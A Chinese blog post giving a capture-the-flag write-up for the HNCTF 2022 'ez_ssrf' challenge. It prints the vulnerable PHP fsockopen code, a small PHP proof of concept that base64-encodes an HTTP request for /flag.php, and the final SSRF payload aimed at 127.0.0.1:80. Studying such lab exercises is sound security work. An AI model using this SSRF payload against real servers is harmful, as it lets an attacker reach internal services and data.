[HNCTF 2022 WEEK2]ez_ssrf

首先目录扫描得到/flag.php

HNCTF 2022 WEEK2ez_ssrf

题目提示访问/index.php
得到

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

fsockopen()函数用于打开一个 socket 连接
fsockopen(hostname, port, errno, errstr, timeout)
允许连接另一个服务器
设置主机为127.0.0.1 从而造成ssrf
访问flag.php拿flag

fwrite把请求内容发给目标 然后echo

写个poc

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

得到R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
作为data参数的值

还有两个参数设host为127.0.0.1 设port为80
最终payload
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

posted @ 2025-07-29 22:48  yeran烨染  阅读(31)  评论(0)    收藏  举报